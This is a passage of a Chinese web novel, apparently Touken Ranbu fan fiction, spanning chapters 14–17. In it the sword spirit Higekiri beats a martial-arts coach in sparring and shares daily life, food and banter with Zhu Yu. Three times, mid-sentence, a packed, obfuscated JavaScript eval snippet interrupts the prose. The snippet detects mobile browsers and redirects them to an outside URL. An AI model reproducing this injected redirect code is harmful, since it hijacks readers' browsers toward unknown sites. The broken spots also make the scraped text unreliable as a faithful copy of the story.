祝虞不是体育生,身边也没有朋友是体育生,她对助教说过的那一长串奖项头衔没有什么实感,只要教练本人能打就行,反正她带髭切来也不是为了让他参加什么比赛拿奖的。 简单交流时,祝虞简单观察着。 张教练穿着背后印有“龙腾武馆”字样的统一服装,身形很是健壮,胸肌将短袖撑得鼓鼓囊囊,剃着寸头面容看起来也比较凶悍,非常符合祝虞对武术教练的刻板印象。 只是他说起话来就不像了。 按照祝虞对兴趣班体验课的了解,他们一般先会用二十来分钟介绍一下这项技能的文化和历史,中间穿插对兴趣班本身的介绍。 其次会再花十分钟左右介绍基础知识,如果是剑术的话可能会先让他们熟悉一下服装和武器。 走流程做完讲解后,才会进行真正的教学。 最后可能还会留出时间答疑解惑并拍照留念,当然,最少不了的就是对续报课程的推荐。 但是这位外表凶悍的张教练似乎性格内向,简单来说就是有点沉默寡言。 前面的介绍他通通压缩到二十分钟结束,还没等祝虞从他口中飞速掠过的各种流派中找回懵逼的大脑,就看见他对着髭切演示了几个最基础的劈、砍、撩、格挡动作,然后说:“尝试一下?” 怎么这就尝试一下了?刚刚他不就是随便比划了一下吗? 运动废材祝虞同学茫然地看着浅金发色的付丧神伸手接过对方递来的木剑,姿态熟悉得像呼吸,眼皮都没动一下。 而在他拿到武器的那刻,周身那股松驰感却瞬间发生了变化,一种难以言喻的、沉静的“势”悄然凝聚。 非要说的话,和祝虞第一次见到他身穿出阵服、在樱花纷飞中出现时的气势一模一样。 是刀锋出鞘、势不可挡的攻击性。 和平日里温吞柔和的气质截然不同。 祝虞因为这种陌生而熟悉的感觉稍微走了一会儿神。 在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268194|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走神期间,付丧神已经完美复刻了张教练示范的所有动作,角度分毫不差。 张教练的眼睛越来越亮,最后甚至都忘了对方听不懂自己说话,一反之前沉默寡言的形象,热情得一连串问道:“你是学刀的吧?我看你的手法不像是用剑的,我对日本刀派也有一些了解,我们来试试?” 髭切:“?” 他歪了歪头。 祝虞匆忙解释:“他的确是用刀。” 不是,这种只是拿木剑比划了两下就能认出本职武器的事情原来是真的在现实中存在的啊? 她暗自嘀咕,顺便用翻译软件帮髭切翻译了一下张教练的话。 髭切自无不可,很快两人就换上了木刀面对面而站。 在他上场前,祝虞特意把他拉到一边,扒着他的肩膀小声叮嘱:“不要下死手不要下死手不要下死手,点到为止!” 髭切眼中带着跃跃欲试的光,竖瞳因为兴奋收缩到近乎非人的一条线,他低低地“嗯”了一声,转头时浅金色的发丝扫过踮脚凑到他耳边的祝虞脸颊。 “只要您带来胜利就可以了,是吧?” “啊……”她眨了下眼,一时没反应过来,发出一声短促的、无意义的语气词。 但髭切似乎默认了她的意思,唇角带笑地走了过去。 在他的身后,祝虞摸了摸自己被发丝扫过的面颊,那种酥痒的知觉似乎还没有散去,像是羽毛一样拂过心头。 她轻轻“啧”了一声。 切磋是不需要语言翻译的,似乎只是互相对上了一个眼神,两方便同时起势动手。 祝虞收敛心神,专注看了起来。 片刻后,祝虞可悲地意识到自己其实不专注也没关系,因为她发现自己专注也看不懂…… 她看不懂两人刀式上的交锋预判,只能模糊地意识到双方打得应该挺激烈的,而髭切占据上风。 教练显然是有真功夫,动作标准,力道沉稳。可他在刀剑化身的付丧神面前却总是慢了一拍,或者说被完全看穿了意图所以显得总是慢了一拍。 髭切的移动步伐很小,动作幅度并不大,但是每一次格挡都恰到好处,每一次反击都落在最难以发力招架的点上。 他的动作没有丝毫表演套路的花哨,简洁、精准、完全是为了“有效”而存在。 祝虞甚至从中看出了一种莫名的优雅从容。 但是…… 这种切磋时候他竟然没有超大声地吱哇乱叫诶。 祝虞走神地想。 就在她走神的这一瞬间,密集如雨的木刀交击噼啪声忽地一顿。 下一瞬,祝虞几乎没看清发生了什么,只听到一声极清脆利落的“铿”响——像是金属交击,实则只是木刀碰撞——张教练手中的刀已被一股巧劲荡开,脱手砸到一旁空地,而髭切的刀尖已虚点在他喉前半寸。 速度快得惊人,角度刁钻得不可思议。 “……” 训练室寂静无声。 髭切收回刀,脸上依旧是那副人畜无害的笑容,却首先用眼眸锁定了一旁的少女。 “这次胜利,我为家主收下了喔。”他若无其事、轻飘飘地说。 15. 反穿第十五天 张教练率先打破了沉默。 他一个箭步冲到了髭切面前,抓着他的手满目钦佩,激动到声音都在颤抖:“我见过那么多日本的刀术流派,还从未见过像你这么完美的人刀合一!” 他语无伦次,只来回感叹:“卧槽,牛逼,斯国一!” 祝虞:“……” 有没有一种可能,不是好像,而是他本来就是一把刀呢…… 张教练的体型壮硕,站在祝虞和髭切中间时像是一堵墙一样严严实实地隔断了双方目光。 髭切的手指有一搭没一搭地点着刀柄,又若无其事地松开,对着张教练说了一串日语。 听不懂日语的张教练:“啥?” 祝虞飞速冲到他们的面前,不着痕迹地帮髭切从异常热情的张教练手中脱身,假装没看到翻译软件上翻译的“活了这么久,就会很期待后辈的成长呢”,眼睛眨都不眨,张口就道:“他说您过誉了,您也很厉害!” 张教练摆手:“唉,不用安慰我。他的刀术是实战练出来的吧?和我用的招数是两码事——冒昧问一句,髭切先生师从哪一脉啊?” 他一边说,一边兀自沉思:“实不相瞒,我之前也是学刀术的,对东亚刀术的派系都有所涉猎,但是还从未见过这么独特又……” 他斟酌着用词,最后说:“——这么古老的招数。” 其实并不是这个形容词。 张教练真正想说的是“古老原始到近乎本能厮杀”,但是这句话说出来总有一种怀疑对方杀过人的嫌疑。 他觉得按照髭切外表的年纪,他不该用的出如此老辣刁钻的刀法。 和他交手时,张教练总有一种幼时学刀和自己的祖父对练,从老人身上感受到的被岁月积淀的从容与游刃有余。 是一种刀随心动,亦是心随刀转的境界。 但这可能吗? 他想,这么年轻就达到如此境界,就算是天才也办不到吧?如果不是年轻人,那就算是保养得再好,也不至于外表这么年轻吧? 总不能真是什么长生不老的刀子成精吧? 张教练在心中嘀嘀咕咕。 俗话说内行人看门道,灵力构筑的付丧神无法被没有灵力的人类记住,可挥出的刀锋、相撞时的冲力、乃至于淬着冰冷兴奋笑意的眼神——这些都是实际存在的。 既然是实际存在,而张教练本人又足够优秀敏锐,那便足以让他短暂冲破无灵力的束缚,接近迷雾之后的真相。 祝虞被他说得有些汗流浃背。 她绞尽脑汁地思索。 实话说她完全没想到仅仅是打了一架,对方就能发现这么多东西。他都这样说了,那之前准备的“只是简单学了学”、“老师?没有老师,就是跟着视频自己练习的”这些借口就都用不上了。 不过,正所谓车道山前必有路,事情离谱到一定程度,自有人擅长脑补。 还没等祝虞想出理由,张教练盯着他们两个,不知瞧出来什么,忽然灵机一动:“我听说日本确实有些传承数百年的古武道家族,极其低调,恪守传统,几乎不与外界交流——莫非髭切先生出身这类家族?” 祝虞:“……啊?” 不是,这又是什么剧本? 她晚了一步,因为张教练已经兀自脑补了全套剧情。 原来如此,原来如此啊! 他盯着髭切的目光仿佛看透了一切真相的智者。 这个年轻人,大概是日本某个古老剑术流派的继承人,从小被严苛到不近人情的传统所束缚,日夜苦练,悬梁刺股般修行才有了如此超乎同龄人般的实力。 他为何来到中国? 废话,肯定是厌倦了家族里那些老古板的做派,为了追求真正的自由,反抗那压抑的命运,才远渡重洋而来! 而他如此厉害,却还愿意屈尊来这小小武馆体验……这绝不是炫耀! 张教练眼睛越来越亮。 他一定是为了博采众长、兼收并蓄。等他神功大成之日,便是他回归日本,一拳……不,一刀斩碎所有腐朽老头的偏见、喊出一句“莫欺少年穷!”、继任家主之位走上人生巅峰之时! 张教练顿觉醍醐灌顶、茅塞顿开。之前想不通觉得奇怪的地方在这个剧情下纷纷迎刃而解,变得万分合理。 张教练今年三十出头,上学时为了学业放弃自幼学习的刀术改学剑术、大学毕业后为了生计放弃精钻武艺选择教授武术表演、再后来顺从长辈要求,成了工资不高但“稳定体面”的兴趣班老师。 这些年的种种退让放弃是他梦醒时分的无限遗憾。 他本已做好了庸庸碌碌过一辈子的准备。 ——但是今天,他看到了曾经那个没有为生活让步、在祖父刀下不服输大喊“再来!”、热血执拗的自己。 张教练看着笑眯眯的金发青年,甚至还觉得他一定是因为血统不正所以备受家族歧视,越发有一种替不公者证道、为欺压者抗权的豪迈热血! 这一刻,他感觉自己不再是单纯的武馆教练,而是成为了某个热血少年漫里,主角在异国他乡遇到的第一个武艺上的贵人、导师、挚友! 他肩负着帮助这位落难天才重回巅峰的重大使命! 他被某种冲动牵引,伸出手“梆梆”地拍着付丧神的肩膀,语气愤慨:“别担心髭切兄弟,我一定将我会的技艺倾囊相授!虽然我这点三脚猫功夫肯定不是你对手,但至少也能帮你磨砺技艺,祝你实现梦想!” 怎么连兄弟都叫上了? 祝虞大为震惊。 祝虞百思不解。 她欲言又止,好不容易整理好思绪想要按照自己刚刚紧急想出来的借口解释一下,谁知刚刚冒出一个“我”的音,就被张教练大手一挥打断了。 “不用说了,我都懂。”他一脸“包在我身上”的表情。 祝虞:……你又都懂什么了啊! 不知为何,似乎自从髭切来到现世后,祝虞越发感觉自己相处了二十几年的同种族人类们变得奇奇怪怪起来。 难道付丧神的磁场还能影响到这种地步吗? 总不能是灵力干扰没有灵力之人的感知,为了不让他们发现付丧神的异常、所以故意干扰其他人的想法往更加离谱的方向猜测吧! 张教练知道髭切听不懂他在说什么,但有些事情也不必说出来,总之就是他用一种怜爱(?)的目光注视着付丧神,跟他又去另一边对练去了,留下坐在凳子上生无可恋的祝虞。 值得一提的是髭切本来还想对祝虞说些什么,但心中燃起熊熊斗志的张教练手劲大到惊人,他没办法用不伤害他的办法挣脱,只好顺从地被拉走了。 趁着休息时间来各个训练室转场的助教小姐姐走进来,发现抱着背包一脸超脱世俗的祝虞。 她例行公事地微笑询问:“祝女士,您觉得体验课怎么样?” 祝虞幽幽吐魂:“我觉得剧本挺有意思的。” 助教小姐保持微笑:“?” 嗯?你们上的不是剑术课吗? - 漫长的两小时体验课结束,在询问髭切感受,得到一句“教练是个好人哦”的回答后,祝虞还是续报了课程——走的是张教练大手一挥给出的内部打折价。 这个初见外表彪悍而沉默寡言的东北男人站在武馆的门口,一手拍着髭切的肩膀,一手在祝虞的手机上存下了自己的电话。 “祝小姐,”他警惕地说,“如果有不怀好意的人来纠缠你们,随时可以给我打电话,我绝不让他们欺负了你和髭切兄弟。” 祝虞已经大脑宕机想不出这又是什么剧本了。 她有气无力地吐槽:“谢谢教练的好意……但是,我应该要先报警吧……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268195|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗐,警察赶来还要时间。我也住在附近小区,有事尽管打电话,咱们是朋友,髭切兄弟的仇人就是我的仇人,不要不好意思!” 张教练如此说道,背手离开时姿态潇洒帅气。 祝虞:“……” 她站桩一样站在武馆半天没动,直到髭切戳了一下她的胳膊。 祝虞转头,张口就来:“怎么了?让我现在带你杀回日本解救被囚禁的弟弟夺回一切吗?” 髭切:“?” 祝虞:“……” 她双手合十:“私密马赛,你要说什么?” 髭切歪了下头,示意她去看旁边:“那是什么?” 顺着他的目光看去,是一群小孩带着家长围着一个移动摆摊车,很是热闹的样子。 祝虞踮起脚看了几眼,发现这是一个卖糖葫芦的商贩。 这附近有很多兴趣班补课班,小孩出没多的地方这些甜食摊自然也不少见。除了卖糖葫芦的商贩外,祝虞还看到旁边有几个卖鲜榨橙汁小蛋糕的摊位。 看都看到了,想到付丧神大概也没吃过冰糖葫芦,祝虞干脆也就一人买了一串回来,递给付丧神:“大少爷,请用。” 髭切问她这是什么,她说:“这叫冰糖葫芦,你可以把它理解成苹果糖,都是在水果外面裹上一层糖。” 髭切尝试地咬了一口,嚼嚼嚼。 祝虞拿着冰糖葫芦的木棍,观察着他的表情:“酸吗?” 其实她这句话问得很没有必要,反正都要自己亲自来吃。但她和朋友一起出门如果买了同样的食物,无论是她还是朋友都会先顺口问一句口感如何,得到朋友评价有了心理准备后才会动口。 髭切沉思:“甜甜的。” 祝虞放下心来,张嘴咬下半个冰糖葫芦。 嚼嚼嚼—— 祝虞:“……” 她慢慢停下了咀嚼的嘴巴。 这回是髭切看着她,然后带着笑容客观评价道:“家主被冰糖葫芦咬了一口吗?” 被山楂酸得眉头打结的祝虞捂着嘴巴,凶巴巴地瞪他一眼:“你故意骗我?” 髭切无辜:“的确和苹果糖一样甜呀。” 祝虞不是很相信他的话,她怀疑这振白切黑的刀在报昨天晚上骗他吃辣的仇。 髭切微微眯了眯眼眸,证明般地又低头咬了一口。这次他咀嚼很慢,祝虞观察也更加仔细,不放过他任何一丝的表情波动。 看着看着她又开始怀疑自己,难道真的是只有我的这串冰糖葫芦最酸? 髭切看着她狐疑的表情,想了想,忽然用空余的一只手攥住了祝虞拿着冰糖葫芦的右手手腕。 忽然无法动弹的祝虞:“?” 她眼睁睁看着面前的付丧神低下头,飞速地从她手中叼走吃剩一半的山楂。 这一连串动作发生得迅速又轻巧,只依稀辨得尖锐虎牙咬在半截殷红果肉上,齿痕微微下陷,而唇瓣分毫没有触碰到剩下的山楂。 他敏捷得像是只抓了鱼转身就跑的猫。 祝虞看呆了。 反应过来后:“这是我的山楂!” 髭切将自己的那一串递过来,亲身对比后给出结论:“只要尝一下就知道酸不酸啦——家主的这个有一点酸。” 祝虞看着面前的冰糖葫芦。 如果是荀芝对她这么说,她还真就不信邪地去咬一口尝试一下了。但说这话的是髭切,虽然是付丧神,但他是个男的。 祝虞干巴巴说:“你自己吃吧,我不吃。” 髭切:“嗯?不是要尝一下我的酸不酸吗?” 祝虞恼怒:“不尝了!” 髭切只好遗憾收回冰糖葫芦。 于是直到两人回了家,祝虞也不知道付丧神吃的第一口山楂到底是酸还是不酸。 不仅如此,她还倒赔了半串山楂。 16. 反穿第十六天 祝虞盘腿蜷缩在卧室转椅上,一边噼里啪啦打字,一边手机挂着微信语音通话和荀芝聊天。 “嗯、唔……然后呢?”,她有一搭没一搭地应着手机另一端荀芝的话,眼睛紧锁笔记本屏幕,短暂思考一阵,把自己刚刚打出来的两行字全部删除。 “然后?然后就是他劈头盖脸地骂了我十分钟!”荀芝的声音极具穿透力,即使没开免提,也清晰地回荡在安静的卧室里,“是他自己说这个任务不急、让我先把另一份任务做了再说的吧?结果今天早上八点冲进办公室问我怎么还没把文件交过去的还是他!” 祝虞把错字删除,评价道:“确实有病。” 荀芝觉得她的领导不是有病这么简单,而是让人怀疑自己见到了伪人的程度。在这之后,她又一口气吐槽了整整十分钟实习半个月以来遇到的种种奇葩同事奇葩客户,最后痛彻心扉领悟了一个人间真理: “我知道了,工作就是勾石!!!” 祝虞:好耳熟的一句话,好像在哪听过,是不是串戏了。 “唉,算了,不提这个了,影响我吃饭的心情。”荀芝终于吐够了苦水,语气轻松了不少,“你呢?现在在干嘛?早饭吃了吗,不会还在睡吧?” 她问这句话是有前车之鉴的。 七月份的时候她给祝虞打电话,说了半天忽然发现对面没声了,最后才知道这人是聊着聊着又困得睡了过去。 她知道祝虞的作息生活一到放假就开始变得混乱,有时候甚至能在中国过成美国时间。 眼下虽然是中午十二点,荀芝已经上完半天的班正在吃午饭,但祝虞说不定连早饭都没吃还躺在床上准备睡个回笼觉。 祝虞把写完的短篇保存,关闭文档后打开邮箱,又开始广撒网式的投递。 听到这句话她不满道:“我要是还没醒,那刚刚和你说话是在说梦话吗?” 她加重了语气补充:“早饭吃了,不仅是今天,一天三顿饭早睡早起我已经坚持好几天了。” 这下换成荀芝震惊了:“你真的没有被夺舍吗?这可是放假,你还是自己住——该不是你家来了什么人吧?你不是说你那个什么日本的表哥已经走了吗?” 祝虞喝了口水,幽幽道:“是来人了,来了一个晚睡早起日常出门遛弯精力旺盛的日本刀剑付丧神。” 定时定点早上七点半出门遛弯,回来时给祝虞捎上豆浆油条。 他第一次自己出门时祝虞还偷偷跟在他身后,看着他凭着一张脸在一众大爷大妈中如鱼得水。 尽管语言不通,还是奇迹般地买回了早点,全程除了走错单元楼让祝虞被迫假装路过把他捞回家外,没有发生任何意外。 顺便一提的是,因为小区的老大爷和髭切自己都记不住髭切的名字,所以前几天祝虞和髭切出门甚至听见隔壁单元有人亲切叫他“小金”、“小黄”——这是根据发色。 偶尔还会冒出来一句“小虞”——这显然是把祝虞的名字当做自己的名字报了出去。 祝虞至今都不知道他一个不会中文的付丧神和老头老太太的社交天赋究竟怎么点满的,总不能是因为他也是一个上千岁的老年刃所以很有共同话题吧? 真要这么说的话,祝虞开的就不是本丸,而是刀剑养老院,年纪最小的和泉守兼定都有二百多岁。 荀芝不知道她在想什么,她还在兀自感叹:“看来是真的被夺舍了,连梦话都说出来了。” 祝虞:“……” 荀芝安慰她:“没关系,一会儿我给你发几段大悲咒,包有用的。” 祝虞咬了咬自己的腮帮子,被她气笑了。 没有挂断电话,她窝在转椅中脚下轻轻一点,整个人随着椅子向后滑出去一小段,顺着惯性自然流畅地起身开门,去厨房冰箱拿了一根老冰棍磨牙降火。 荀芝的情绪来得快去得也快,很快又开始聊下一个话题。祝虞嘴里叼着冰棍,把热水壶拿过来接水,准备烧壶水一会儿吃完饭喝。 没过一会儿,她这边的动静吸引来一只帮家主做完今天日课的付丧神。 眼看他要开口说话,祝虞连忙用手捂住手机话筒,对他比了一个“嘘”的动作。 髭切眨了下眼,虽然不明白为什么不让自己说话,但也乖乖比了个“嘘”示意他听到了。 “——喂喂?能听到吗?怎么不说话了?”荀芝的声音遥遥传来。 “咳咳,”祝虞清了清嗓子,接话,“刚刚信号不好,你说什么?” 她一面说,一面指了指没接完水的热水壶,用目光示意髭切一会儿记得烧水,然后自然地和他错开身位,叼着冰棍回了卧室。 几分钟后祝虞打完电话,客厅中热水壶亮着红灯示意正在工作。 她把木棍扔进垃圾桶,和旁边的髭切解释:“刚刚打电话的是我的朋友。” 髭切正低头用纸巾擦手,骨节分明的指间沾着些湿润水痕。他把揉成团的纸巾扔进垃圾桶,听到这句话“欸——”了一声,转身撑着水池边问她:“不可以让朋友发现我在家主这里吗?” 你这话说得怎么怪怪的…… 祝虞委婉道:“被发现的话会比较麻烦,所以最好不要。” 时之政府说没正式入职前最好不要向其他人透露审神者的事情,普通路人还好说,像是荀芝这种和她很熟悉的朋友如果想骗过去真的很有难度。 这种有比较明确的命令付丧神还是很听话的,他“哦”了一声,松开手,从善如流点头:“好吧,不会让家主的朋友发现我的。” 更奇怪了啊…… 祝虞已经无力吐槽了,她选择把付丧神打发出去拿手机继续练级,自己开火做饭。 这是髭切来到现实后他们的日常。 早饭祝虞起不来,所以都是髭切出门遛弯打猎回来带给她。午饭和晚饭则是由她来做,偶尔叫外卖或者出去下馆子改善生活。 祝虞其实不讨厌做饭,甚至她还挺有研究菜品的兴趣,但是一人份的饭做起来很没有意思,导致她之前基本都是点外卖解决,要么就是泡方便面应付一下,吃得很潦草,主要目的是不让自己饿死。 不过髭切来了之后就很不一样了。 洗菜暂且不提,他最大的作用就是能帮祝虞把最讨厌的洗碗工作一手包揽。 甚至刀功也非常优秀,是能做到苹果雕小猫萝卜雕兔子笑眯眯展示给她的地步。但是后来他竟然突发奇想试图用本体刀切菜,祝虞就命令禁止他动刀了。 最后是非常好养活,祝虞尝试做新品研究失败的菜这刃都能面不改色地吃下,还能再说一句“已经很好了哦?”,情绪价值拉满。 所以祝虞最近做饭的热情非常高涨。 她打开手机,翻出来自己专门收藏的食谱收藏夹,兴致勃勃地开始挑选今日的幸运儿。 煲仔饭做过了、昨天吃了油泼面、口水鸡家里没有鸡…… 祝虞一边翻着食谱一边打开冰箱检查家里还剩什么食材,看到角落的咖喱酱时,手机也正好停在“日式咖喱饭”的界面。 很好。 祝虞满意地把咖喱酱从冰箱里拿出来。 就是你了,日式咖喱饭! 真正动手做饭时,祝虞还发现了很多已经拆封的抹茶粉糯米粉一类的东西。 她拎着袋子回忆片刻,想起来这好像是刚刚放假那几天她还处于做饭的兴奋期,所以买回来许多做甜品的食材想要实现假期甜品自由,结果没做几次就因为没人分享所以失去了兴趣。 她挑出来土豆和胡萝卜,一边洗菜一边在心里琢磨。 距离第一次去上剑术课已经过去了两天,在意识到髭切并不是初学者之后,张教练的上课方式就发生了变化。 他们大部分情况下都是在切磋,小部分时间是张教练把搜罗来的日本派系之外的、比如说其他国家的刀术视频展示给髭切,然后辅助他领悟学习。 祝虞对这方面一窍不通,不过她觉得这对付丧神来说不是坏处。 虽然不知道张教练到底在心中脑补了一些什么,但他确实挺认真负责教导髭切的,不管是出于什么想法,至少他的这些善意真实存在。 君子论迹不论心,祝虞觉得面对这种善意的照顾他们也应该有所回报。 看张教练的朋友圈他似乎有一个女儿,小姑娘应该比较喜欢吃甜点吧?他之前好像还晒过妻子给女儿做的甜点。 反正她也是想着把剩下的东西用完,那下午的时候干脆就多做一些甜点吧,然后她再去买点适合送礼的东西,让髭切下一次去上课的时候带上。 她快速在心中做好下午安排,同时手上没停,按次完成洗菜洗米下锅等步骤,动作行云流水,娴熟自然。 最后米饭出锅,浇上热气腾腾的土豆胡萝卜咖喱酱——大功告成! 祝虞心满意足地洗手,从厨房探头出去叫了一声客厅中手肘支在抱枕上,一边帮她练级一边托腮看听不懂的电视剧的付丧神。 祝虞不太理解他这种爱好,不过她保持尊重。孩子愿意看就看呗,谁又规定只有听得懂在说什么才能看?她自己还干过一边放听不懂的舞台剧当背景音一边写作业的事情。 两人坐在客厅的餐桌前面对面吃饭,很快,髭切发现今天的家主似乎格外关注他的状态。 她盛好了两人的饭,把其中一碗推到他的面前,自己没有动筷,反而眼睛直勾勾地盯着他。 通常而言,祝虞动筷后付丧神才会动筷。眼下她没有动,髭切自然也就没有动。他的脸上带着人畜无害的笑,提醒她:“家主?” 这个词语在髭切无数次的重复中已经让祝虞从一开始的奇怪陌生,变成了可以淡定自若应下来的程度。 “你先吃。”她又把随手做的味增汤推到他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268196|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,谨慎说,“帮我先尝尝味道。” 看来今天的饭又是第一次做呢。 早已熟知她的各种潜台词的髭切心想。 既然是要先帮她尝尝味道,那就没什么好推脱的了。髭切用勺子慢条斯理地舀了一勺浸透咖喱汤汁和配菜土豆的米饭放进嘴里。 祝虞手臂撑在桌面上,表情如临大敌:“怎么样怎么样,味道如何?有你老家的味道吗?” 髭切:“做出了好吃的食物呢,家主。” 依旧是髭切:“不过我也没吃过日本的咖喱饭,所以不知道有没有老家的味道哦。” 祝虞一下子泄了气:“对哦,你之前没吃过饭。” 她开始吃自己面前的那碗咖喱饭,然后像是之前几次那样抱怨说:“你是不是又在哄我?我觉得这次咖喱饭好像做的有点咸了,不是很好吃。” 说着,她顺手拿起刻着膝丸刀纹的杯子喝了口水。 髭切并不觉得在食物方面他什么时候哄过对方,他说的可都是实话呀。 刀剑是无法拥有味觉的,过往的千年中他只能感觉被握紧的触感以及刀身受损的不适。如无意外,千年的岁月只能让他拥有两种清晰分明的感知—— 被锻造而成的新生。 磨损与折断的死亡。 而成为付丧神后,他学着祝虞的样子品尝食物、观察世界。 辣味是痛觉,所以不喜欢。 至于其他的,之于髭切而言都是从未品尝过的、从未体验过的感知。他不讨厌那些甜或是酸亦或是苦。 既然不讨厌,那这几种味道中究竟是哪一种占据上风,也是无所谓的事情吧? 只要是吃下后不会痛的食物,那就都可以算是“好吃”的范畴吧? 他撑着下巴,看着对面的家主吃了一半忽然抱着手机开始打字,嘴里念叨着“下次要少放一点酱料”、“唔……土豆可以煮得更烂一些”之类的话。 等到髭切面前的咖喱饭已经快吃完了,她才恋恋不舍地放下手机,起身从卧室里拿出来充满电的平板,轻车熟路找到某个番剧,津津有味地吃着已经有点放凉的咖喱饭。 髭切吃完饭,自觉把碗筷放到厨房水池里,拿着刻有他自己刀纹的玻璃杯接水时路过她的身后,发现家主还在看那个似乎叫“活击”的番剧。 祝虞发现了他的驻足停留,伸手将视频暂停,侧身指了指屏幕上一刀斩出刀纹的三日月,看着他满眼期待:“可以给我表演一下这个吗?” 她双手比划着:“‘欻欻’两下就帅气地解决敌人、然后刀光剑影、锋芒闪现——最后是刀纹出现,明月当空!” 她拖着椅子向前凑了凑,双手合十看着髭切开始一本正经地胡说八道:“我要求不高,有刀纹就行。” 髭切看了她几秒,又瞥了一眼她身后暂停的屏幕,随即熟悉的温软笑容在他脸上漾开。 “可以呀。”他回答得无比轻松。 竟然真的可以?! 祝虞暗搓搓地兴奋,又怀疑他是不是又要整出什么类似于本体刀雕胡萝卜的花活,视频也不看了,亦步亦趋地跟着他,眼睁睁看着付丧神拿着杯子倒了半杯水,然后又走回餐桌。 他把祝虞刚刚喝了一半的水杯塞到她手里,示意她端起来。 祝虞:“?” 祝虞不明所以,玻璃杯横在两人的面前,身后日光透过玻璃窗折在透亮杯壁上。 髭切一手撑在餐桌,迁就着坐在凳子上矮了一截的祝虞,微微俯身,倾斜手腕。 “叮——”一声清脆悦耳的玻璃撞击声。 杯中的水因这轻微的碰撞而晃动起来,涟漪自中心荡开,撞击着杯壁。 光线在水波与玻璃中曲折,杯壁上刀纹在这一瞬间像是活了过来,虽然不是真正的凌厉剑锋挥斩而出的刀纹,但光影交错间产生的错觉,竟真的有了几分流光溢彩的锋芒乍现。 祝虞:“?!” 她睁大了眼睛看着那几乎可以说是“闪现”的刀纹光芒,又震惊抬眼看向对面的人。 髭切晃了晃玻璃杯,用目光轻点两人手中的杯子,就着刚才碰杯的位置喝了口水,喉结轻滚。 “是双骑出阵哦,家主。”他的尾音上扬,邀功一样的轻飘飘。 祝虞看了看自己杯子上的膝丸刀纹,又看了看他手中杯子上的髭切刀纹,最后恍恍惚惚地喃喃:“这也行……?这是作弊吧?” “不可以吗?”髭切向她无辜地摊开手,“那就没办法了哦,家主不如去问问三日月可不可以呢?” 他捏着自己的下巴,眉角因为笑意稍稍挑起:“毕竟是天下五剑之一呢,想必一定可以做到吧?做不到的话……” 后半句他没有说出来,停留在一个看似很克制礼貌的界限上。 祝虞:“……” 她怀疑这刃在拉踩别的刃,但她没有证据。 17. 反穿第十七天 虽然当时觉得剩下的食材还挺多的,但是等祝虞对照着手机上教程开始查找食材时,发现还是少了些东西。 少的东西不是很多,但都卡在那种必须有、否则做不成甜点的程度上。没有办法,祝虞只能稍微打乱一下自己下午的计划,准备先去一趟超市。 她回卧室换了身衣服,找防晒衣的时候没找到,在屋子里转了一圈才想起来是之前洗了还没从阳台拿回来。 于是又去阳台拿衣服,顺便把其他干了的衣服抱回来,路过髭切的时候提醒一句:“你的衣服还在阳台,一会儿记得拿。” 对方“哦”了一声,起身去阳台。 祝虞把衣服放回卧室,反正只是去一趟超市马上回来,她懒得再化妆,准备涂个防晒就完事。 只是她刚刚把防晒霜挤到手背上,正要对着镜子往脸上抹,就通过镜子看见付丧神手里拎着两件衣服走进洗手间。 两人的目光通过镜子相撞,髭切向她举起手,展示了一下手中拎着的一件衣服。 “好像没洗干净。”他说。 经过这几天的日语学习,比较简单的句子祝虞不通过翻译软件也能听懂。 怎么会没洗干净呢? 祝虞心里纳闷。 她一边往脸上涂防晒,一边走到髭切的身边,就着付丧神的手观察了一下他手中拿着的短袖。 然后她就懂了。 “应该是不小心和其他掉色的衣服洗到一块了。”她说。 之前这件衣服是非常简约款的白T,是祝虞给髭切网购的衣服之一,而现在他手中拿着的衣服已经从白色变成了一种灰蓝色。 大概是和她新买的那条银蓝色的裙子洗在一起了吧……本来是想着八月份可能去旅游所以买的贵贵的漂亮裙子,但是被付丧神的到来打乱计划,不知道还能不能在开学前出去玩一趟。 祝虞思考着,对髭切道:“染得还挺均匀,不算大事,还能穿。” 得到她的回答,髭切把晾衣架从短袖里抽出来,正准备离开时又被身后的少女叫住了。 他转过头,看见祝虞举着一只手对着他的脸比划了一下,像是在思考。 髭切:“?” 没搞懂家主要做什么的付丧神歪头,脸颊边翘起的浅金发丝正好蹭到一点祝虞的手心。 轻碰的触感让她本能地收回手,面对着付丧神茫然的神色又觉得自己反应有些过度,只好干巴巴地笑了一下。 “伸手。”祝虞想来想去还是命令道。 髭切伸手。 他伸出的是没有拿衣服的右手。手型修长、指节分明,但掌心却意外的宽阔,指根下方和掌心中央覆着一层薄而韧的茧子。 